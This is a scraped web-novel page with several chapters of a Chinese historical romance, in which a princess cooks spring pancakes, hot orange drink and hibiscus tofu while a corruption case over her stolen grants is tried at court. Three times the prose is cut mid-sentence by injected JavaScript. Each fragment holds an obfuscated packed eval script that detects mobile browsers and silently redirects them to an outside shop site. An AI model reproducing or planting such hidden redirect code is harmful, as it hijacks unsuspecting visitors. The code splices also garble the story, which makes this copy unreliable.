$(''#content'').append('' ……你也别先急着说，我可不是照顾生意。你头一次送豆腐给我时，我就想着梅花坞要是有人做豆腐就好了。内城虽好，但家里人都不方便进城去。” “那……”包子看了萧家的院子几眼，“姑娘手艺好，但每日吃五块豆腐，就是码头里的大鱼大肉，也吃腻了。不如我每隔三日送来，等姑娘的茶楼开起来，就怕我家的豆腐都不够姑娘卖的呢！” “你口舌伶俐，也替我想得周到。” 萧鸣笙夸赞他几句，也替他想了想，“城里摆摊，或是要交租子。这冰天雪地，冻人也费银子。你可问过桂贤嫂嫂，她的摊子，除了花生羹，还另外卖些胡饼，是否还要再卖些香煎豆腐？不知你阿娘做过香煎豆腐么？我把方子也告诉你……” 话没完，包子是一个劲摇头，“我阿娘说，嫂嫂约莫是不想再见我们。还是不去了……” 张家已经迁了出去，桂贤嫂嫂一人在内城……约莫还是需要一两个亲友。 不过，到底是别人的家事，萧鸣笙也没多言。 想等着有机会再问问。 包子再次小心翼翼抱着篮子下山，萧家也围坐在灶房的木桌上。 春饼的饼皮薄，阿草拈着看了众人，坐对面的卢妈妈仿佛苍老了十几岁，再一挪，大哥似乎更老了。 而再换到郡主的位置，朦朦胧胧，好像什么也看不清。 “这是辣的……袁志你试试这个酱。”郡主在和大哥说话，可不知为什么声音也越发悠远。 “阿草呢？” 这是找自己么？ 阿草觉着身体一轻，飘飘忽。 “喵——”随之而来的，则是众人的惊呼，“阿草，别玩了，快尝尝郡主的春饼。” 郡主会做饼么？ 阿草半信半疑，神思又回了，手里的饼皮在无意识中已经被扯破。 “呀……定是我擀得薄了，想着家里东西也渐渐多了起来，又不在靠这饼皮管饱，自然是越薄越好。” 萧鸣笙站起身，再重新给阿草拿了一张，替她抹了酱汁，再将豆芽、韭菜、胡瓜丝、蛋卷等一一夹了进去，“你切的丝，又细又均匀，可要多吃些。” 几乎是转眼间，春饼便在阿草手边。 “郡主……”阿草也声音也有些迟疑。 卢妈妈和袁志有经验，一看便知阿草是头疾发作了，“是不是头疼了？先睡一会儿。” 阿草摇摇头。她是头疼，但是不想睡。 她接过春饼，咬了一口，“春饼，好吃。” 有平常吃不着的胡瓜，也有郡主发的豆芽，里头还有切成丝的香肠，都是她爱吃的。可心里头不知道怎么了，像是空了一个地方。 咬春，因着阿草的病，咬得不太顺利。 萧鸣笙回房小憩时，特意和卢妈妈要了那对鹿角。 “崔大人特意送了来，确实是该放郡主房里头。”卢妈妈又笑得一脸慈祥。 “……” 萧鸣笙：我真不是那个意思，嬷嬷你信么？ 但是，为了不着痕迹将鹿角要来，萧鸣笙只能佯装羞涩。 这会儿，神色异常郑重。 她摊开的右手，虎口处，那颗黑痣又出现了。 86.热橘子水 孵蛋 这鹿角，还真是个神器？ 萧鸣笙不明白其中的关窍，潦草已先她一步将毛腿搭了上去。 黄眼微抬，轻轻喵呜一声。 “嗷？” 萧鸣笙便也凑近去，揉了揉它的脑袋，“小草，你是崔大人送来的猫，又追随三爷在道观里修炼过，是不是也有点什么法术？没事，我可是看过猴子推倒大山的人，你就大胆来点化我吧。” “喵……” 阴阳相交的面颊，毛茸茸的，张扬卷翘的眉毛，着实是让人爱不释手。 “喵？”萧鸣笙自然而然跟着喵两声，再移了目光去看同样是像外生长的鹿角。 再如何看，都很刑。 鹿苑的匠人将之处理的干净，她便也在角落里找了个位置安置它。 放高了，怕潦草给碰到，碎了；放低了，又怕被当成了磨爪板子。 萧鸣笙在屋里踱步时，外头便有了声响。 “呀……” 她本是要转身和潦草说话，谁知它一路跟得紧，险些是踩着了。“你说，外头来的，是不是小团子？” 小团子这儿答案，自然是应该被排除的。绪安还没下马车，便会开始喊人。 崔大人在门口的靶场看了半晌，还是袁志先翻墙出去同阿藤说话。 “嘿嘿，袁侍卫……” 自家大人在看靶子，阿藤便成了靶子。 “今日陵安府休沐，大人过来一趟。” 崔明端过来时，特意在袁志跟前停下，不用吩咐，阿藤已经识趣后退了好几步。 “不知袁侍卫是几时与家父有所联系的？” 袁志在西北军里历练过，端的是神色不变，再躬了身请罪道：“属下不知崔大人在说什么。” 崔明端没得到想象中的答案，可袁志的反应，何尝不是一种答案？“也罢，你既忠心于萧家，口风又紧，难怪家父信任于你。” 这一回，袁志也没再请罪，只是拱手请他入内，“风大，大人请。” 崔明端一手背在身后，慢慢踱步进去。萧家静悄悄的，即使是把潦草送来，也没多少声响。不知这只小奶猫是躲在何处睡觉。 “喵……” 才念及潦草，这猫已经像小马一样，哒哒跑了出来，仿佛是认得崔明端一般，就要去挠他的衣袍。 崔明端有一瞬便想到了绪安，回回见了人就张手要抱。可潦草并不会言语，即便是要他抱…… 才这般以己度人想一想，衣袍上已经出现了两条毛茸茸的猫腿，几番动作下来，再好的锦缎，都刺挠出几个毛线。 一贯讲究的崔家六郎，先是败下阵来，“罢了罢了，你还能记得我，岂不是我的荣幸？近日可听话？打碎东西否？偷吃了么？” 再老成持重的人，因着只猫儿，也絮絮叨叨念着家常，萧鸣笙跟在潦草身后，便见到了这罕见的一幕。 崔大人今日约莫不是从衙署里过来，月白的衣裳将绯色官袍替了下来，倒是多了家常之感。 “郡主……” 才这般想着，一道凝重的目光便落在了身上。 萧鸣笙颇有自省精神，亦是上下打量了自己，没错呀—— “即便是立春了，还是在冬日里，郡主该仔细养着……” “是，多谢大人挂心……” 她倒是从善如流应着，一点也想着是披风的缘故。 崔明端轻叹：“方才只在外头见到了袁侍卫，不知嬷嬷她们在忙什么？” “阿草头疾发作，嬷嬷在照顾。” 萧鸣笙请他先坐，便要去灶房取热水来。 “臣，不吃茶。”崔明端直言道，又觉着过于直白，便举着潦草的爪子，“冬日里，连它都穿了一身厚实的皮裘——” 某人刻意在“皮裘”二字加了重音，而后更是罔顾礼法，直视于她。 “啊？”萧鸣笙跟着念叨了一声，“皮裘？” 崔大人今日是来惹人发笑的么？谁家探花郎管猫猫的毛毛叫皮裘的啊？ 白白再被笑话了一回。 萧鸣笙才后知后觉，恍然道：“哦……皮裘……我在家不冷，卢妈妈每日都盯着，穿得厚实着呢。” 然而，自知理亏，萧鸣笙再另外找了话同他说着：“对了，道长——令尊，可是到了吉安？一路可顺风？” “昨夜就收到了家书，已经到了。吉安那儿地气早，茶花已经开了。” 何故特意提起茶花，便是让崔明端过来告诉她一声的意思。 萧鸣笙也放心了，“吉安的案子，也这么多年了，其中牵扯繁多……” 轮到她当谜语人，崔明端便也将话说全了，“家父不止是府尹，还是钦差。郡主可听过何人敢对钦差不敬？” 萧鸣笙抿着唇：崔大人，你还真别说，我甚至听过火烧钦差，还成功的。 “咳咳……想来也是我作为闺阁女儿家，没甚见识，忧虑过重，让大人见笑了。” “……” 她的忧虑是真。崔明端霎时有一种被哄的错觉，被当成三岁小儿哄。 在他几岁之时，父亲倒是爱哄他。下值从市集买点小玩意儿，探亲访友，也总要带些东西。 实在没有，捡一块石头，或是一片枯叶，也是野趣。 崔明端忽而又一笑，好颜色再粲然一笑，满室生辉。 最后，午食剩下的春饼，都摆到了崔明端面前。 那饼皮再放锅里蒸一蒸，口感还是一样的。薄如纸，没多少存在感，但也是个要紧的角。 崔明端一手摊着，另一手从容夹着各色东西往里放。 萧鸣笙一手安抚着潦草，也挑了肉丝在它跟着放着，好叫人安心欣赏美男子。 当真是个酣畅淋漓的吃播—— 若不是吃播博主倏然抬头与她对视，没有屏幕的隔离，萧鸣笙莫名心虚。“是酱汁不合口味？” 崔明端再度从容摸了帕子，悠哉擦拭唇角，借此压了压过分明显的弧度，“合适，臣在旁处未曾吃到这样好吃的春饼，故而失态了，让郡主见笑了。” “大人客气了。” 好吃评价本体终是到了。 萧鸣笙很是欣慰，看崔家六郎吃了一条，又招呼他再卷一根，“这年下各处都忙，我也不便到荀大人府上拜访，不知荀夫人可好？” 崔明端默然颔首。她倒是挂心旁人，人人问了一遭，他一一作答，末了，聪明机智的人总算是明白了。 她人人都问了，独独漏了自个儿。 唉……手里的春饼，香气似乎淡了些许。 “大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13312881|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要吃橘子水么？热乎乎的。” “……吃。” 问候没到，食物总得到肚子里的。暖一暖五脏腑，总是好的。 要做热橘子水，第一步自然是剥橘子。 潦草是一只合格的猫猫，对橘子的气味非常敏感，没等萧鸣笙拿出橘子，早就跳走了。 她举着两个橘子回身，险些是踩着了跟过来的大猫。 崔明端原是要给她搭把手，谁知她骤然转身，二人便只有一个身位的距离。 扑面而来的，除去橘子香气，更多的，是她的药香。 “橘子凉，臣来做。” 崔明端借故拿走她手上的橘子，无意拂过她的指尖，又如冰雪一般寒凉。 他背过身时，仍是蹙眉的——她的身子，怎么一直不见好？ 萧鸣笙也在他看不见之处，学着他负手，再悄悄伸展着指尖：崔大人是属火的么？难怪每回来穿的单薄，也不俱风雪。 橘子由着他薄皮，再仔细将白色的经络也撕了下来。 他剥完，下意识递了过去，萧鸣笙自然而然接过，可惜，还没放口中，尽责尽职的崔大人又道：“郡主吃一瓣尝尝鲜也罢。” “嗯……”原本也不是要多吃的。萧鸣笙无端面颊燥热。唉……怪自己从前没吃过猪肉，只是吃一瓣橘子，心口就像揣了那只可怜鹿儿的心一般，怦怦跳个不停。 “酸？” 相对而坐，再将橘子剥干净了，此举过分亲昵，崔明端也慌乱，只是面上镇得住，但见她蛾眉蹙起。 ——或是这橘子是酸的。并不是嫌弃他的缘故？ 这一回，原该是放在碗里的橘子，也进了崔明端的口中。 嗯，当真是有些酸。 “不算……方才大人说的是，橘子寒凉，怪我贪嘴了。”萧鸣笙起身，赶紧找点事情来分分多余的思绪。 热橘子水，做来也简单。按照她原先的做法，直接就剥出完整的果瓣，放进微波炉里用高火叮个两分钟。 萧家唯一能用的，便是面包炉。 面包炉已经由袁志烧了起来。阿藤在一旁看了好一会儿。保不齐哪日就是自己给大人打下手了，还是先同袁侍卫多学一学。 萧鸣笙舀了水，再将去丝的橘子撕开膜衣，放在碗里放到面包炉里烤一烤。 头一回做，不大放心拿出来看了看，才放了回去。 “这炉子，是西北的样式？”崔明端问道。 “是……从烤馕的炉子想到的。御医说粥养胃，我常常念着，便随手画了个图……谁知把洞口的方向画错了……哈哈……” 郡主一人呵呵笑着。 阿藤在一旁忍到肚疼，好不容易忍到橘子出炉，他才同袁志到外头去。 “袁侍卫……”阿藤实在是想大笑一场，可惜没人同乐。 袁志已经去了杂物间搬柴火，拿木炭。 屋里头，郡主自能处理。 萧鸣笙自然能泰然处之，崔大人是何方神圣，陵安少府又不是活阎罗，她不怕。 橘子肉烤过，带着特殊的香气，很幽微，但也沁人心脾。 拿勺子将果肉稍稍一碾，散开，再加入半勺的蜂蜜搅拌一番。 热乎乎的，不带一点水的橘子水，黄澄澄一碗，崔明端唇角压了又压。 87.芙蓉豆腐 这橘子水，是热的，加了蜂蜜，酸甜也更加适口。 不过，崔明端自个儿来煞风景，“若是绪安在，也不知是欢喜成什么样子了。” 她总爱在用饭时提起旁人，不过想通了，这何尝不是家常模样？ 悠悠然吃了橘子水，崔明端才说起今日来意，“郡主要放养鸡崽，等再过几日，大抵便可以让孵蛋了，到时臣再让阿藤送些母鸡过来。午后会有匠人过来，先起一个棚子……” “大人好意……” ——多谢了。 但是，这一句，到底也没说出来。 萧鸣笙就缓缓戳着碗里的果肉，找了个相当体面的措辞，“我想着，梅花坞的乡民，很是淳朴，也都养过家禽，或是直接请他们盖一个便是。” “也好。”崔明端利落应下，也没坚持，又摸出个荷包，“上回郡主请臣看日子，这红封过大了。听说这一行的规矩，是收几个铜子当辛苦钱。臣坏了行规在前，今日特来赔罪。” “啊？” 花出去的一百两，它又回来了？ “大人……”萧鸣笙想了想，“既是大人盛情，那小女就不客气了。来日鸡崽长大，我请大人来吃，山野之物，或是能入大人的眼。” 等送走了人，萧鸣笙握着这个荷包，也学着某人的模样，在堂屋里负手而立。 卢妈妈见了是止不住地笑，“郡主可不好学大人，这样走路要跌倒的。“ 这话，上回卢妈妈也说过。 萧鸣笙笑笑将手收了回来，再把荷包给卢妈妈。她记账细致，也让人放心。 呈往登闻鼓院的两份记档，能作为证据的原因，也是卢妈妈将每日用盐多少也记了上去。 记一两日，一两月，甚至是一两年，都有让人疑心是不是提前做的局。 可那份记档相当厚实，字迹歪扭，是萧家嬷嬷的笔迹，一记就是六年多。 即便是有心，那也是忠心。 登闻鼓院的老臣，个个清直刚正，暗暗下了决心：荣安郡主这案子，便是豁出命，也要一查到底。 梅花坞的日子，总是异常宁静。 要起个棚子，这事也不难办。 袁志下山去，跟包子一说。包子在爹娘的示意下，问道：“姑娘急着要用吗？急的话，我再去喊几个人……” “倒也不急着……你与你爹，一同来帮忙就成。” …… 半山腰视野开阔，风景更是秀丽。 有包大叔和袁志，包子和阿草帮着做些打杂的活计，这棚子不用日暮便好了。 等卢妈妈拿了串钱出来，包大叔也不收，“这随手一帮的活，怎么能收钱呢？我们包子还常常拿东西回去……” “我们姑娘说了，亲兄弟尚且要明算账。冬日各家都有家里的活，不能白白占了你家的便宜。” 也没多给，就两百文，市集码头做活也是这样的工钱，一日一百文。 包子要把自己那份推了，“我就是个打杂……收不得的……” “收吧，卢妈妈给的，我也有。” 阿草也举着自己那一串钱，再探头瞧瞧袁志的，最后则是撒开腿跑进屋去，“小草小草，今日赚钱了，我分你一文钱呀……” 有了阿草帮着缓和气氛，包家父子总算是将钱收下了，说是多挑一担子干草上来。 母鸡孵蛋，总要有一个窝。 而多日不曾露面的荀二郎，竟赶在城门关闭前来一趟。 他来的时间正好，萧鸣笙在操持夕食，想着阿草也喜欢吃海味，就将晒好的那几个虾干取了七八个来，配上包子送的豆腐，做了满满一锅芙蓉豆腐汤。 虾干泡开，勉强当新鲜的虾用，同是去泡料酒，与葱姜腌制片刻。 四个鸡蛋，留下蛋清备用。蛋黄也不用浪费了。 取了一个特意用小火煎好，给潦草吃。 阿草与它是各自吃一个。或是小菜这名是阿草给的，阿草并不护食。 它日常最爱用的垫子，也不是崔家那个娇贵的软垫，还是用阿草旧衣缝制的，最得它心。 豆腐切薄片，放入盘中，摆上虾仁，撒少许的盐、黑胡椒、料酒，再放一两根姜丝。 摆上三角木架，将盘子放稳，水开后蒸半刻钟出锅，撒上豆苗段、胡萝卜片、葱丝。 炒锅中放油，倒入姜碎翻炒，倒入清炖的鸡汤，放入蒜片，倒入鸡蛋清儿，快速滑散，加入芡汁增加浓稠度，将炒好的鸡蛋清均匀的铺在豆腐上即可。 “呦，我今日真是有口福了。” 荀二郎下马前，就闻到了香味，一甩手就让马儿自便，快步入内，“给荣安郡主请安。” “大人不用多礼。”萧鸣笙刚刚净手，也示意他坐。 这桩案子，荀二郎也是功不可没。他才入户部不久，荀家也懂得收敛一二，避避诸位大人的锋芒。户部的人有意给荀二郎使使绊子，有油水的肥差自然轮不到他。 不过，还真是无心插柳柳成荫，荀二郎被派去库房当差，这是个冗杂的苦差。 谁料，他竟将余下的东西和历年的单子都整理了出来，在登闻鼓院的大人过来时，又十分不懂事，一一交代了。 这些，崔大人没在萧鸣笙面前说。荀二郎自己会讨功，“原先以为崔兄去了陵安府，是最忙碌的。谁知听人说，这些日子京中太平，陵安府反倒是成了最清闲的衙门，可苦了我们这些小喽啰。” 他举筷，对着盘子里胜似芙蓉花瓣的蛋清，喟然长叹，“不过，有幸见到郡主这道芙蓉豆腐，臣便是肝脑涂地，也在所不辞。” “大人舌绽莲花，倒是这菜遇到了雅客。” 荀二郎当真不是客气。 萧家的芙蓉豆腐，蛋清滑开的大小适中，酷似芙蓉花，豆苗青翠鲜嫩，仿佛是芙蓉花枝。 其中又有小块的胡萝卜片点缀，色彩丰富，瞧着就有食欲。 “还用了鸡汤，滋味更佳。” 荀二郎咬了一口虾仁豆腐，仔细一琢磨，可惜用的是虾干，“若是用鲜虾来做，才是一绝。崔兄怎么回事，竟没给郡主送虾来么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327555|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？早知他不送，我就派人送来了。” 吃舒服了，荀二郎还要打趣一下挚友。 “这鸡蛋，是崔大人送的……” “啧，不成不成……崔兄这般会持家，只送鸡蛋，我送虾子又败家又坏了好友美名，岂不是十分不知趣？” 笑谈结束，他也将公务道来，“今日立春，各处休沐，独登闻鼓院的老大人还在忙着……户部牵涉其中，自然也不敢松懈。臣不负陛下与大人所托，终是将郡主历年赏赐账目做了出来，特来请郡主过目。“ 和卢妈妈那份一样，是厚厚实实一沓单子。 “竟这样快？”萧鸣笙原以为要查个三两个月。 “可不是么？陛下雷霆之怒，何人敢松懈？还得是吉安送出的那份密报，否则这事也不会这般顺利。” 吉安府的府尹耿康太，已被收监。 这人，也是两朝老臣了。何故贪这么大一笔？ 但是，却出现了两种不同的声音。 京里人人都在唾骂耿大人罔顾了这么一个好姓氏，恨不得马上将其问斩。 但是，吉安府却是有另外一种不同的声音。说耿大人是大清官。 崔三爷送回的家书，走的是官驿，并未提及此事。 但萧鸣笙看了那单子，光是大米的产量，就少报了四成，这样显眼，岂不是招人怀疑？ 再有就是历年供应的鲜果，头两年还有，最后四年竟都是在半路翻船，没了。 “这……怎么不说是给山匪劫了去？” 萧鸣笙莫名给气笑了，就像上回的皮毛案子，也是山匪从官道劫的。 “郡主真是神机妙算。山匪也劫了，不过山匪嘛，人家在山上，有果子，劫的是布匹。郡主乃亲王女才有的尊位，锦四十匹 纻丝三百匹，纱、罗各一百匹，绢五百匹” 然而，在卢妈妈的记档里，锦仅有一匹。还是内侍省送的，各宫都有的份例。 那一船布料，没走到京城，就没了。 饶是萧鸣笙也看出不妥来，问道：“那吉安府尹与一众大人，是否会押送到京城来？” 谁知，荀二郎神秘一笑，“郡主，你说崔三爷修道多年，为何这一次就下山了？” “嗯？”她只是个普通的厨子，实在是与这些土著玩不明白权谋。“或是，圣旨难违？” “哈哈……崔兄的嘴，可真是河里的老蚌。若是郡主允准，回头儿，我去说说他。这样要紧的事，怎么没同郡主通个气呢？” 然而，荀二郎说了么？没有。 呀，好气！ 萧鸣笙满腹怨念送走了荀二郎。因着到了年下，马上就是小年了，朝廷封印在即，登闻鼓院雷厉风行，这案子不能拖到年后，让陛下不痛快。 所以，明日就要升堂审理。 天子体恤郡主，不必亲自到场，让记账的嬷嬷去一趟就是。 “郡主……奴婢……能行么？”卢妈妈听说后，连手都是抖的。她原本就只是萧家灶房里的一个粗使嬷嬷，连做菜都不够格。 88.凉拌手撕鸡 翌日，是崔明端和荀二郎来接的人。 萧鸣笙原是要跟着去的，奈何荀二郎笑得神秘，“想来是我愚钝，昨日没将话说得清楚……“ “嗯？“萧鸣笙不解，但荀二郎确实是没将话说清楚。 崔明端便担下了这重任。“明日就是小年了，登闻鼓院的意思，便是要在今日结案……” “是这案子，还有变数？” “臣未……” “哼……” 萧鸣笙捏着潦草的爪爪，轻嗤一声。 荀二郎借故望天，赏那未开的照殿红花苞。可惜了，要是再晚些日子，自己能折数朵照殿红簪着去升堂。 而送花人崔明端利落认错，“臣未曾参与调查，具体如何判，还得看登闻鼓院的大人们……但是，此事已经人尽皆知，想来是出不了太大的岔子。 臣今日也会过去，请郡主放心就是。” “唉……多谢大人费心了。” 萧鸣笙再次照着潦草的爪子同他道谢。 崔明端也知道了荀二郎同她说了外头的琐事，也只能勉力安她心。“郡主，当宽心养着，此事一了，将无人敢生事。” “借大人吉言了。” 那句安慰人的话，说来也是讽刺。她乃陛下封的异姓郡主，有尊号与封地，最终只落了个清静。 她再安慰了卢妈妈几声，“大人问什么，照实说就是。再不济，还有崔大人呢。” 卢妈妈向来就看重崔大人，听得此话，再看崔大人绯色的官袍，不由也安定了几分。 “要不，我让袁志也跟着过去……” “不可……”卢妈妈先是否决了。阿草这两日头疾发作，跟着过去怕也不能帮上什么忙。 袁志不能留下，卢妈妈更是不放心。“如郡主说，有崔大人在，奴婢什么都不怕。” 当日胡人破城，血洗内城，萧家那么多口人，活下来的，本就不多。 想到此处，卢妈妈忽而什么也不怕了。内城可怕，哪有胡人可怕？ 她一步一步走得坚定，神情更是视死如归。 荀二郎最爱玩笑，却也不敢在此刻将人逗过了，“郡主且安心。不说有崔兄在，出门前，拙荆也一再交代了，光一个冬至，就吃了郡主六只卤鹅，不然什么忙也帮不上吧？” 萧鸣笙送卢妈妈坐着马车，上回晕车的恶心烦闷感霎时涌上心头。她面色稍一变化，紧随在侧的崔明端便察觉到，然而，再多的言语都是苍白无力的。 今日倒是想告假，在梅花坞陪她一日。 但户部的几位老狐狸都会在，他不亲自去，也实难安心。 寒风瑟瑟，崔明端衣袖跟着风向走了走，好不容易是跟上了她的披风。 借着那一瞬的亲近，像是安抚潦草，轻轻抚过，冰凉柔软。没牵住她的手，但这狐裘在外头吃了无数寒风，足够叫人清醒。 “郡主，留步。” 崔明端借着这一会儿的清醒，走向崔家的马车。弯腰俯身进去，阿藤放下车帘的动作缓了又缓。 黄眼小猫喵了一声，她也终是露了个笑。 萧鸣笙送走了人，只把潦草放到屋里去，自己取来弓箭，在外面射了一箭又一箭，往日能有半数衣裳正中红心，今日心不静，堪堪挂在靶子上。 一筒箭用完，阿草就去把箭拔回来。 一箭一箭，咻咻刺破寒风。 登闻鼓院的质问声，响彻了整个内室。 “你说你只是萧将军家的粗使婆子，怎么会识字？” “奴婢……是夫人教的……” “不曾想萧夫人如此善心，连粗使婆子都手把手教着……” “夫人……夫人……”卢妈妈听不明白户部侍郎质问这句。 在场的人，几乎都听懂了，各自望了望。 很快，崔明端便出言道：“大人所问，若只为辨明物证，下官无话可说。岳母过世数年，郡主孤身一人在京养病，才使得狼子野心的人钻了空子，大人在此案所犯何罪，下官无权过问，若有冒犯岳母之处，下官自当据理参奏陛下，并案处置。” 两家到底也没成婚，今日崔明端这“岳母”一喊，他的声望便能再上一层楼。 户部的大人都在心里唾骂。 这一桩惊天的贪腐案，户部的人只管喊冤，吉安府送来的东西就这么多，他们总不能变出物资来补上。 这也是崔明端和荀二郎最担心的地方。 户部的账目，确实没作假。库房的出入，也都对得上。想来傻子都知道，要分赃，也不能光明正大把东西收到户部来分。 “吉安府的耿康太狗胆包天，贪了郡主的封赏不说，还要拉我们户部一同下水，当满门抄斩。” “登闻鼓院办案，自有章程，轮不到尔等来教。” …… 都是身经百战的老狐狸了，整整闹了一上午。 午后，几位大人写了折子递上去。几位阁老在御书房议事时，更是吵了起来。 有说要将户部尚书下狱流放的，有说罪不至此，吉安府才是罪魁祸首。 陛下只是将那几道折子看了又看，“崔爱卿呢？” 吵得不可开交的几位大人才停下，“崔大人……没跟着进宫来……” 陛下只是淡淡扫视他们一圈，“在案子怎么说，他也算半个当事人，怎么没跟来？” “启禀陛下，崔大人亲自送了萧家的嬷嬷回了梅花坞。说是陛下自有公断……” “公断……是啊，爱卿忙活了这些日子，想来也累了，圣旨稍后由王聪去传，尔等出宫吧，也好好过个年。” “陛下……” “跪安吧。” …… 这圣旨，到梅花坞时，崔明端也在。 萧鸣笙练了一上午的箭，还不见人回，午饭只喝了碗鸡汤，在萧家门口探头看了许久，终是看到缓慢爬坡的马车。 崔明端也没急着走。这后半日，还有糟心事。 果不其然，阿藤收到城里来的消息，大气也不敢出。 大人和郡主还在灶房里，一人烧火，一人煮汤，温馨极了。这消息，送进去…… 袁志也不知从哪里冒头出来，也想知道结果。 阿藤打着哈哈，硬着头皮进去了。 “大人，城内已经传开了，吉安府耿康太贪墨，秋后问斩。户部尚书渎职，连降四级，贬为吉安少府，十年内不得升迁……” 这些，听着似乎都是好的，阿藤还犹豫着。 在崔明端的示意下，才继续说道：“户部不能无人理事，又将原户部侍郎提了上去，暂代事宜。” 就是今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340467|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日当着众人的面，诘问卢妈妈那位大人。 崔明端面色淡淡，举着手中锅铲，半晌没言语。 阿藤识趣退了出去。 萧鸣笙抱着潦草坐在灶前烤火，抬头去看失神的崔大人。这才是他拦着自己的缘故吧？便是萧家诸事已经板上钉钉，失职的，又岂是户部尚书一人？ 这一贬一升，帝王心着实是让人看不明白。 锅里，是在重新热鸡汤。 崔明端是空着肚子过来的，想省事吃碗热汤面。 而今，面条在水里沸腾翻滚。 他无端想起了七年前西北那场大仗，父亲是不是知晓其中隐情，才毅然决然辞官修道？ 热腾腾的鸡汤面，剩下他这碗没动过，余下的都捞出，分给了卢妈妈和阿藤他们。 本该是他们下人在灶房里用饭，但郡主在烤火，潦草也喜爱灶膛的火光。 他们几人都去堂屋用饭了，阿草不明白，“最大的坏人，杀了，不是很好吗？” 阿藤苦笑，“小人嘴笨，也说不明白……” 这桩案子，牵涉的官员，登闻鼓院列了数十人，但是陛下处罚了吉安府的大小官员，京里的只罚了一个户部尚书。 萧鸣笙原该是最难受的那人，可看到崔明端忧思不语，便朝他介绍起眼前那盘手撕鸡。 这些日子，她也才知道原来崔大人下饭的地方是眉州，约莫还是在巴蜀一带。 绪安难得是靠谱了一回，在她面前说起过，“我崔兄饮食清淡，也不知是如何在眉州呆了四年之久？听说那儿的人最会吃辣了，就是树皮剥下来拌辣椒吃，也能下饭。” 当时阿草听了，也跟着道：“书劈叉拌辣椒，我也能吃。” 这可把养尊处优的小团子给惊住。“那我吃不了……对了，是要说崔兄……荀大人说他大抵是在眉州呆久了，早不是京中那光风霁月的崔家六郎了。” 他在萧家吃饭的次数不多，萧鸣笙也不知他是否也入乡随俗吃了辣。 “大人尝尝。” 崔明端才回过神，瞧见眼前这盘细细撕开的鸡肉，沾着红的辣椒，青的叶。 “用的香芹？” “嗯。”萧鸣笙颔首。凉拌手撕鸡，原该是要用香菜叶子，只是考虑到他的口味——万一崔大人不吃香菜，就如自己会晕马车一样，实在是难以启齿。 崔明端误以为是她吃不了，便也道：“香芹是素雅之物，来与辣椒作配，也正好。” “大人说的正是。我也听人说，芹，是素物，越肥越妙。但如果用肉去炒它，则清浊不分[1]。” “郡主这话，格外新鲜。”崔明端如醍醐灌顶，“不知是哪位大儒所言？” 那自然是位了不得的老先生。 然而，与这时代似乎隔了千年，萧鸣笙只能是含糊其辞：“似乎是一位姓袁的先生。从前的事了……后面还有一句，熟者，虽脆无味。或生拌野鸡，又当别论[2]。也不知是不是山上没食物了，这野鸡竟朝那窝棚去，我还没学一学古人守株待兔，就被袁志一个石子击中了。” 崔明端尚且在想她话里的深意，“臣自幼读圣贤书，同天下读书人一样，经科举入仕，心中怀揣的，莫不是济世救民的鸿志？官场官场，在这儿久了，不说旁人了，有时连臣也恍惚，是否还记得初心……” 89.小年吃灶糖 余下最后几句心底话，崔明端没说出来。 他自幼被选定为皇子伴读，陪着当今圣上一步步从皇子到王爷，再承继大统。 先帝在时，王爷也曾是个热血少年郎，不惜一己之身，前往疫区，为百姓请命。最后一点功绩没捞到，也能畅快笑道：本王若为功绩，便不会去淮南。 而今，登基不过十几载，就已是沧海桑田了么？ 崔明端待到了日暮，才回城去。 而宫里的福公公，早已在城门口等候多时，“大人，陛下有请。” “圣上传召，怎未出城来？”崔明端先行下马请罪。 “陛下交代，大人办完了公务，自会回城，不必打扰大人。” 去梅花坞，是公务么？ 崔明端不置可否，再请一回罪，跟着福公公入宫。 走的不是御书房的路，而是崇政殿。 这道，崔明端不陌生。远的不说，近的，两个月前，他便在此处吹了半个时辰的冷风。 他做好被降罪的可能，等过了崇政殿的大门，才发现天子仪驾便在此处。 同梅花坞的木棚一般，用木板和木头搭了一处挡雪的，放上炭盆与蒲团，天子便在里头赏雪。 棚顶上已经积了一寸厚的雪。 “微臣来迟，请陛下恕罪。” “进来坐。” 崔明端脱了靴子进去，陛下便亲自斟了杯茶。 只是，这香气，实在过于熟悉。 萧鸣笙神色变化，他看得清楚。眼下，他稍一变动，皇帝便打趣道：“荣安的茶，你也吃过？” “陛下……” “爱卿该不会也以为朕也是个糊涂昏庸的吧？祭天大典时，萧家上的茶，朕没喝，可朕五感还在，晓得底下的人在唱什么戏。” “臣，确实喝过。”崔明端据实道。 “你五岁入宫伴驾，与朕还有什么是说不得的？” “陛下容禀。” 